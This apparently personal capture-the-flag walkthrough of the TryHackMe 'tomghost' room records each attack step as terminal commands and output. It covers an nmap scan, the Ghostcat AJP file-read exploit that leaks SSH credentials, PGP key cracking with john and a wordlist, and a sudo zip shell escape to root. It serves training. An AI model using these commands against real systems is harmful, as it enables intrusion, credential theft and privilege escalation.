



tomghost - THM (Done)

<https://tryhackme.com/r/room/tomghost>

namp

```
File Edit View Search Terminal Help
root@kali:~# nmap -A -T4 -p22,8009,8080 10.10.111.151 ←
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-22 00:43 EDT
Nmap scan report for 10.10.111.151
Host is up (0.12s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2
.0)
| ssh-hostkey:
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
| ajp-methods:
|   Supported methods: GET HEAD POST OPTIONS
8080/tcp  open  http    Apache Tomcat 9.0.30
| http-favicon: Apache Tomcat
| http-title: Apache Tomcat/9.0.30
Warning: OSScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95
%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network
 Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 -
 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%), Android 7.1.1 - 7.1.2 (92%)
```

Apache Tomcat/9.0.30 - Mozilla Firefox

TryHackMe | tomghost X Apache Tomcat/9.0.30 X +

10.10.111.151:8080

Kali Linux Kali Training Kali Tools Kali Docs Kali Forums Nethunter Offensive Security Exploit-DB GHDB MSFU

Home Documentation Configuration Examples Wiki Mailing Lists Find Help

Apache Tomcat/9.0.30

If you're seeing this, you've successfully installed Tomcat. Congratulations!

Recommended Reading:

- Security Considerations How-To
- Manager Application How-To
- Clustering/Session Replication How-To

Developer Quick Start

Tomcat Setup First Web Application Realms & AAA JDBC DataSources Examples Servlet Specifications Tomcat Versions

Server Status Manager App Host Manager

Find exploit for this

```
File Edit View Search Terminal Help
root@kali:~# nmap -A -T4 -p22,8009,8080 10.10.111.151
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-22 00:43 EDT
Nmap scan report for 10.10.111.151
Host is up (0.12s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2
.0)
| ssh-hostkey:
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3) ←
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp  open  http    Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
Warning: OSScan results may be unreliable because we could not find at least 1 o
```

Download

Apache Tomcat - AJP 'Ghostcat File Read/Inclusion'

| ID: | CVE: | Author: | Type: | Platform: | Date: |
|-----|-----------|---------|---------|-----------|------------|
| 43 | 2020-1938 | YDHCUI | WEBAPPS | MULTIPLE | 2020-02-20 |

DB Verified: ✘

Exploit: [Download](#) / { }

Vulnerable App:

Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

[GET CERTIFIED](#)

exploit

```
root@kali:~/Downloads# python 48143.py 10.10.111.151 -p 8009 -f WEB-INF/web.xml
```

We got credential

```
root@kali: ~/Downloads#
http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
    http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
    Welcome to GhostCat
    skyfuck:8730281lkjlkjdqlksalks
  </description>

</web-app>

root@kali:~/Downloads#
```

Login ssh

```
root@kali:~/Downloads# ssh skyfuck@10.10.111.151 ←
The authenticity of host '10.10.111.151 (10.10.111.151)' can't be established.
ECDSA key fingerprint is SHA256:hNxvmz+AG4q06z8p74FfxZldHr0HJsaalFBXSoTlnss.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.111.151' (ECDSA) to the list of known hosts.
skyfuck@10.10.111.151's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

skyfuck@ubuntu:~$
```

Check history

```
skyfuck@ubuntu:~$ history ←
 1  ls
 2  cd ..
 3  ls
 4  cd skyfuck/
 5  ls
 6  exit
 7  cd ..
 8  ls
 9  cd skyfuck/
10  ls
11  wget 192.168.32.23/tryhackme.asc
12  wget 192.168.32.23/credential.pgp
13  ls
14  exot
15  exit
16  history      I
skyfuck@ubuntu:~$ sudo -l ←
[sudo] password for skyfuck:
Sorry, user skyfuck may not run sudo on ubuntu.
skyfuck@ubuntu:~$ ls ←
credential.pgp  tryhackme.asc
skyfuck@ubuntu:~$
```

Grab those files using scp because we logging in to ssh.

```
scp skyfuck@10.10.111.151:tryhackme.asc .
scp skyfuck@10.10.111.151:credential.pgp .
```

```
File Edit View Search Terminal Help
root@kali:~# scp skyfuck@10.10.111.151:tryhackme.asc .
skyfuck@10.10.111.151's password:
tryhackme.asc                                         100% 5144      39.3KB/s   00:00
root@kali:~# scp skyfuck@10.10.111.151:credential.pgp .
skyfuck@10.10.111.151's password:
credential.pgp                                         100%  394      3.0KB/s   00:00
root@kali:~#
```

search goodl > decrypt asc file, decrypt asc file crack

We need to put this file into readable format to crack.

Use John

John-users - Cracking PGP symmetrically encrypted files with JTR - Mozilla Firefox
TryHackMe | tomghost | Apache Tomcat/9.0.30 | Apache Tomcat - AJP | Detect Apache Tomcat | john-users - Cracking | +
https://www.openwall.com/lists/john-users/2015/11/17/1
Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter Offensive Security Exploit-DB GHDB MSFU
Openwall bringing security info open environments
Follow us on Twitter <prev [next>] [day] [month] [year] [list]
Date: Tue, 17 Nov 2015 23:04:50 +0100
From: Dhiru Kholia <dhiru.kholia@...il.com>
To: "john-users@...ts.openwall.com" <john-users@...ts.openwall.com>
Subject: Cracking PGP symmetrically encrypted files with JTR

...
have added support for cracking PGP symmetrically encrypted files to
R jumbo.
<https://github.com/magnumripper/JohnTheRipper>
age
...
Run [gpg2john](#) on PGP symmetrically encrypted files (.gpg / .asc).
Run [john](#) on the output of gpg2john.
sample
...
./run/gpg2john test-password.asc > hash # https://id0-rsa.pub/problem/1/
.../run/john hash -wall
using default input encoding: UTF-8
loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
will run 4 OpenMP threads
press 'q' or Ctrl-C to abort, almost any other key for status
password (?)
...
Dhiru

Convert file to readable format

```
root@kali:~# gpg2john tryhackme.asc > output ←  
  
File tryhackme.asc  
root@kali:~# cat output ←  
tryhackme:$gpg$*17*54*3072*713ee3f57cc950f8f89155679abe2476c62bbd286ded0e049f886  
d32d2b9eb06f482e9770c710abc2903fled70af6fcc22f5608760be*3*254*2*9*16*0c99d5dae82  
16f2155ba2abfcc71f818*65536*c8f277d2faf97480:::tryhackme <stuxnet@tryhackme.com>  
::tryhackme.asc
```

Crack file

```
root@kali:~# john --wordlist=/root/Downloads/rockyou.txt output ←  
Using default input encoding: UTF-8  
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])  
Cost 1 (s2k-count) is 65536 for all loaded hashes  
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:  
SHA224]) is 2 for all loaded hashes  
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:A  
ES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loa  
ded hashes  
Will run 4 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status      I  
alexandru            (tryhackme)  
1g 0:00:00:00 DONE (2020-06-22 01:02) 20.00g/s 21440p/s 21440c/s 21440C/s theres  
a..alexandru  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed  
root@kali:~#
```

Import the secret key and decrypt

```
root@kali:~# gpg --import tryhackme.asc ←  
gpg: /root/.gnupg/trustdb.gpg: trustdb created  
gpg: key 8F3DA3DEC6707170: public key "tryhackme <stuxnet@tryhackme.com>" import  
ed  
gpg: key 8F3DA3DEC6707170: secret key imported  
gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed  
gpg: Total number processed: 2  
gpg:                 imported: 1  
gpg:                 unchanged: 1  
gpg:                 secret keys read: 1  
gpg:                 secret keys imported: 1  
root@kali:~# gpg --decrypt credential.pgp ←  
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences  
gpg: encrypted with 1024-bit ELG key, ID 61E104A66184FBCC, created 2020-03-11  
      "tryhackme <stuxnet@tryhackme.com>"  
merlin:asuyusdoiuqoilka312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123jroot@kali:  
-#
```

```
gpg2john tryhackme.asc > output  
cat output
```

```
john --wordlist=rockyou.txt output
```

```
gpg --import tryhackme.asc  
gpg --decrypt credential.pgp
```

Login SSH.

```
root@kali:~# ssh merlin@10.10.111.151 ←  
merlin@10.10.111.151's password:  
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)  
  
 * Documentation: https://help.ubuntu.com  
 * Management: https://landscape.canonical.com  
 * Support: https://ubuntu.com/advantage  
  
Last login: Tue Mar 10 22:56:49 2020 from 192.168.85.1  
merlin@ubuntu:~$ history ←  
 1 history  
merlin@ubuntu:~$ sudo -l ←  
Matching Defaults entries for merlin on ubuntu:  
    env_reset, mail_badpass,  
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User merlin may run the following commands on ubuntu:  
    (root : root) NOPASSWD: /usr/bin/zip  
merlin@ubuntu:~$
```

We can run zip with root privilege.

The screenshot shows a browser window with several tabs open, including "Apache Tomcat/9.0.30", "Apache Tomcat - API", "Detect Apache Tomcat", "john-users - Cracking", "zip | GifOBins", and "https://gtfobins.github.io/gtfobins/zip/#sudo". The main content area displays a exploit payload for the zip command:

```
TF=$(mktemp -u)  
sudo zip $TF /etc/hosts -T -TT 'sh #'  
rm $TF
```

A red box highlights the "Sudo" section of the text, which reads:

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

The payload code is also highlighted with a red box:

```
TF=$(mktemp -u)  
sudo zip $TF /etc/hosts -T -TT 'sh #'  
sudo rm $TF
```

```
merlin@ubuntu:~$ TF=$(mktemp -u) ←
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #' ←
      adding: etc/hosts (deflated 31%)
# whoami ←
root
#
```